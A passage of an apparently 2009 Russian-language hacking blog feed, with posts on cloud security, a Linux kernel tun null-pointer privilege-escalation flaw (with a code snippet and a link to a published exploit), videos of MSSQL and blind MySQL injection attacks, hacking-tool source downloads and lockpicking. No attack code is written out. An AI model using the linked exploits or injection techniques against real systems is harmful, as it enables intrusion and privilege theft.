src='https://blogger.googleusercontent.com/tracker/4201466663544641787-2262443992452080969?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/2262443992452080969/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/linux_08.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2262443992452080969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/2262443992452080969'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/linux_08.html' title='Проблемы с кодировками в Linux'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/SnxdUegn2aI/AAAAAAAAAIM/AngnvypjUpA/s72-c/5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4334568682261694166</id><published>2009-08-06T02:19:00.006+04:00</published><updated>2009-12-31T18:28:17.431+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Технологии'/><title type='text'>Немного о Cloud Computing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.edopter.com/images_user/ideas/200809/klfzDx"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 250px; height: 188px;" src="http://www.edopter.com/images_user/ideas/200809/klfzDx" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Развитие сетей , рост количества рабочих станций в них, все это усложняет администрирование, постоянное обновление, как программного, так и аппаратного обеспечения  ПК находящихся в сети, становится настоящей проблемой, для решения которой требуется приложить много усилий, да и то никто не гарантирует, что после окончания работ, они не пойдут на смарку, конечно существует много средств облегчающих данную задачу, но и их оказывается не достаточно, Технология Cloud Computing призвана облегчить страдания администраторов и пользователей, которые по долгу не могут получить помощь специалиста (бедняга занят).  Cloud Computing — это можно сказать возвращение к старым традициям - во времена Мэнфреймов и терминалов. Идея заключается в том, что все ПО и АО предоставляется сервером (Менфреймом), по сути все остаются довольны: администратору — достался на администрирование один сервер, и  больше не приходится бегать от одного пользователя к другому, а пользователям беспокоится о нарушение работы. В общем по сути идея старая, но просто завернута в новую оболочку. Мне лично кажется такая технология наиболее подходит фирмам и компаниям с очень огромными сетями и постоянной необходимостью их расширения.&lt;br /&gt;&lt;br /&gt;К сожалению по своей природе Cloud Computing не безопасна ( вспомните хотя бы как Митник Взломал Шимомуру, а ведь он перехватил tcp сессию между Мэнфреймом и Терминалом Шимомуры правда Шимомура имел root доступ, что пользователям дано не будет), конечно   Cloud Computing содержит свои примочки отвечающие за безопасность, кстати говоря клиенты (терминалы) остаются полностью без защиты все антивирусное и прочее защитное ПО  хранится на сервере (менфрейме). Применение такой технологии в изолированной от интернета сети, себя очень оправдывает.&lt;br /&gt;&lt;br /&gt;Что касается применения этой технологии, провайдерами (что уже в перспективе), когда главный сервер находится непосредственно в интернете - очень небезопастно, тогда взлом  одного только сервера будет иметь очень чреватые последствия, кражу персональной информации сотен, а то и тысяч пользователей, и при этом даже не нужно взламывать клиентов по отдельности.&lt;br /&gt;&lt;br /&gt;(с)Kerny&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4334568682261694166?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4334568682261694166/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/cloud-computing.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4334568682261694166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4334568682261694166'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/cloud-computing.html' title='Немного о Cloud Computing'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1808562565572891994</id><published>2009-08-04T22:21:00.002+04:00</published><updated>2009-08-04T22:47:39.046+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Перешел на Linux</title><content type='html'>Недавно поставил себе Russian Fedora 11, вроде ничего. Пока, конечно, всяякие траблы напрягают.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SniCMMlJwfI/AAAAAAAAAIE/2mZOmQGbrBc/s1600-h/%D1%81%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SniCMMlJwfI/AAAAAAAAAIE/2mZOmQGbrBc/s320/%D1%81%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA2.png" alt="" id="BLOGGER_PHOTO_ID_5366182102059041266" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1808562565572891994?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1808562565572891994/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/linux.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1808562565572891994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1808562565572891994'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/linux.html' title='Перешел на Linux'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/SniCMMlJwfI/AAAAAAAAAIE/2mZOmQGbrBc/s72-c/%D1%81%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA2.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-489034707549475142</id><published>2009-08-01T15:17:00.003+04:00</published><updated>2009-08-01T15:24:05.172+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Презентация AI</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Презентация AI&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Как-то давно делал презентацию про Искусственный Интелект, вот решил выложить, для общего развития интересно посмотреть.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SnQlDLY7EPI/AAAAAAAAAH8/6A5elsjJ4g0/s1600-h/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SnQlDLY7EPI/AAAAAAAAAH8/6A5elsjJ4g0/s320/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5364953792632262898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/13355306"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-489034707549475142?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/489034707549475142/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/08/ai.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/489034707549475142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/489034707549475142'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/08/ai.html' title='Презентация AI'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/SnQlDLY7EPI/AAAAAAAAAH8/6A5elsjJ4g0/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3419786706295247224</id><published>2009-07-29T13:41:00.008+04:00</published><updated>2009-12-28T18:19:23.572+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Уязвимость в ядре Linux</title><content type='html'>Привет всем, недавно была обнаружена очень интересная уязвимость в ядре Linux, она отличается от других, и думаю будет очень познавательно почитать ее описание:&lt;br /&gt;&lt;br /&gt;Исходный код для эксплуатации весьма необычной уязвимости в ядре Linux был опубликован сегодня Бредом Спенглером (Brad Spengler) – автором модуля grsecurity.&lt;br /&gt;&lt;br /&gt;Что же необычного в уязвимости, позволяющей просто повысить привилегии? Дело в том, что при обычном анализе исходного кода эту уязвимость практически невозможно обнаружить. Технические подробности этой ошибки немного сложны, но можно просто объяснить, что именно происходит. Уязвимый код находится в реализации net/tun. Вот что здесь происходит: разработчик инициализирует переменную (sk в примере ниже), и устанавливает ее в значение, которое может быть равно нулю. Разработчик корректно проверяет значение переменной на несколько строк ниже и если переменная равно 0 (нулю), возвращается ошибка. Код выглядит следующим образом:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;struct &lt;/span&gt;sock &lt;span style="color: rgb(0, 0, 153);"&gt;*sk&lt;/span&gt; = tun-&gt;sk;  &lt;span style="color: rgb(0, 102, 0);"&gt;// initialize sk with tun-&gt;sk&lt;/span&gt;&lt;br /&gt;…&lt;br /&gt;if (!tun)&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;return&lt;/span&gt; POLLERR;  &lt;span style="color: rgb(0, 102, 0);"&gt;// if tun is NULL return error&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Код выглядит корректно с первого взгляда. Но это до того, как компилятор начнет работать с этим кодом. При оптимизации кода, компилятор увидит, что значение переменной уже присвоено и просто удалит блок IF. Другими словами, компилятор создаст уязвимость в бинарном коде, которой не существует в исходном. Нововведение, произведенное компилятором, позволит ядру прочитать и записать данные по адресу 0x00000000, который атакующий затем сможет перенаправить в пространство пользователя и получить привилегии root на системе.&lt;br /&gt;&lt;br /&gt;Опубликованный эксплоит способен обойти защиту разыменования нулевого указателя в ядре, на системах с SELinux и без него, и отключить SELinux/AppArmor/LSM/auditing.&lt;br /&gt;&lt;br /&gt;Скачать эксплоит можно по &lt;a href="http://grsecurity.net/%7Espender/cheddar_bay.tgz"&gt;адресу&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securitylab.ru/news/382677.php"&gt;Источник&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3419786706295247224?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3419786706295247224/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/linux.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3419786706295247224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3419786706295247224'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/linux.html' title='Уязвимость в ядре Linux'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6803987817838424544</id><published>2009-07-26T23:33:00.006+04:00</published><updated>2009-09-18T14:58:51.794+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Видео'/><title type='text'>Mssql - injection</title><content type='html'>Класическая Mssql - injection.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SmywY1kPP2I/AAAAAAAAAH0/jIJw25ljvVs/s1600-h/2213.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 230px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SmywY1kPP2I/AAAAAAAAAH0/jIJw25ljvVs/s320/2213.jpg" alt="" id="BLOGGER_PHOTO_ID_5362855197033840482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/13145357"&gt;ifolder&lt;/a&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/ru/files/nn5xrd8k8"&gt;deposit&lt;/a&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/3628.c353246cf598a114dc4aa3246/_________.rar.html"&gt;letitbit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Снято 17.07.2009&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6803987817838424544?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6803987817838424544/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/mssql-injection.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6803987817838424544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6803987817838424544'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/mssql-injection.html' title='Mssql - injection'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/SmywY1kPP2I/AAAAAAAAAH0/jIJw25ljvVs/s72-c/2213.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1337538787146884757</id><published>2009-07-26T23:11:00.007+04:00</published><updated>2009-09-18T14:59:07.825+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Видео'/><title type='text'>Blind Mysql injection</title><content type='html'>В видео показана реализация атаки типа Blind Mysql injection, использованы такие популярные инструменты, как sipt.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SmyrTEeeVxI/AAAAAAAAAHs/tZZIsjgkM00/s1600-h/Screen.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SmyrTEeeVxI/AAAAAAAAAHs/tZZIsjgkM00/s320/Screen.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5362849600398841618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/8585767"&gt;Скачать&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Снято примерно 15.10.2008.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1337538787146884757?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1337538787146884757/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/blind-mysql.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1337538787146884757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1337538787146884757'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/blind-mysql.html' title='Blind Mysql injection'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/SmyrTEeeVxI/AAAAAAAAAHs/tZZIsjgkM00/s72-c/Screen.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5548551344069736641</id><published>2009-07-20T15:18:00.007+04:00</published><updated>2009-07-20T15:29:14.937+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Исходники'/><title type='text'>Исходники Converter of Hacker</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Исходники Converter of Hacker&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Решил выложить исходники Converter of Hacker, программу продолжать скорее всего не буду, может у кого другова инициатива проснется.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oxXdxKIGwp0/SmRT_uZ5HpI/AAAAAAAAAHk/3CQX4ct6ekc/s1600-h/1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 159px;" src="http://2.bp.blogspot.com/_oxXdxKIGwp0/SmRT_uZ5HpI/AAAAAAAAAHk/3CQX4ct6ekc/s200/1.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5360501810731228818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ifolder.ru/13180719"&gt;ifolder&lt;/a&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/files/h9ewdwv4w"&gt;deposit&lt;/a&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/1402.19cb005f07681ceb63f25c616/Converter_of_Hacker_code_.rar.html"&gt;letitbit&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5548551344069736641?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5548551344069736641/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/converter-of-hacker.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5548551344069736641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5548551344069736641'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/converter-of-hacker.html' title='Исходники Converter of Hacker'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oxXdxKIGwp0/SmRT_uZ5HpI/AAAAAAAAAHk/3CQX4ct6ekc/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1162366988626569237</id><published>2009-07-08T22:08:00.008+04:00</published><updated>2009-07-08T22:16:39.512+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Ура!!!</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Ура!!!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Сегодня прислали фотки, статьи "недостатки форматной строки" в компьтерной газете, хотя качество плохое, но впечатном виде она смотрится гораздо круче!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlTh31HutAI/AAAAAAAAAHM/igSDvTN2dn4/s1600-h/PIC-0864.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlTh31HutAI/AAAAAAAAAHM/igSDvTN2dn4/s200/PIC-0864.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5356154206118917122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oxXdxKIGwp0/SlThtMfUHWI/AAAAAAAAAHE/AlOmsV3ZENQ/s1600-h/PIC-0862.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 150px; height: 200px;" src="http://3.bp.blogspot.com/_oxXdxKIGwp0/SlThtMfUHWI/AAAAAAAAAHE/AlOmsV3ZENQ/s200/PIC-0862.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5356154023413292386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SlThmUwxC1I/AAAAAAAAAG8/q3mR72pPfqA/s1600-h/PIC-0861.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 200px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SlThmUwxC1I/AAAAAAAAAG8/q3mR72pPfqA/s200/PIC-0861.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5356153905374890834" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Можете поздравить меня.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1162366988626569237?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1162366988626569237/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/blog-post_09.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1162366988626569237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1162366988626569237'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/blog-post_09.html' title='Ура!!!'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oxXdxKIGwp0/SlTh31HutAI/AAAAAAAAAHM/igSDvTN2dn4/s72-c/PIC-0864.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4985493695543377409</id><published>2009-07-08T20:45:00.003+04:00</published><updated>2009-07-08T20:54:18.393+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Взлом механических замков</title><content type='html'>&lt;p&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;Взлом механических замков.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Полезно знать, как работают наши собратья в реале...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/SlTNrAsG6BI/AAAAAAAAAGk/BFfB5Jo3o3M/s1600-h/3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 234px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/SlTNrAsG6BI/AAAAAAAAAGk/BFfB5Jo3o3M/s320/3.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5356131995653433362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/ru/files/2265316"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4985493695543377409?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4985493695543377409/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/07/blog-post.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4985493695543377409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4985493695543377409'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/07/blog-post.html' title='Взлом механических замков'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/SlTNrAsG6BI/AAAAAAAAAGk/BFfB5Jo3o3M/s72-c/3.JPG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8909799029613756633</id><published>2009-07-05T13:39:00.003+04:00</published><updated>2009-07-05T13:43:18.132+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Исходники'/><title type='text'>RedBook - исходники</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="color:#ff0000;"&gt;RedBook - исходники&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlB1nHgBFgI/AAAAAAAAAGc/qCjdOidrzDk/s1600-h/3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/SlB1nHgBFgI/AAAAAAAAAGc/qCjdOidrzDk/s320/3.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5354909271832204802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://letitbit.net/download/1571.1f280dba8473ebe196c9bb2aa/RedBook.rar.html"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8909799029613756633?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8909799029613756633/comments/default' title='Комментарии к 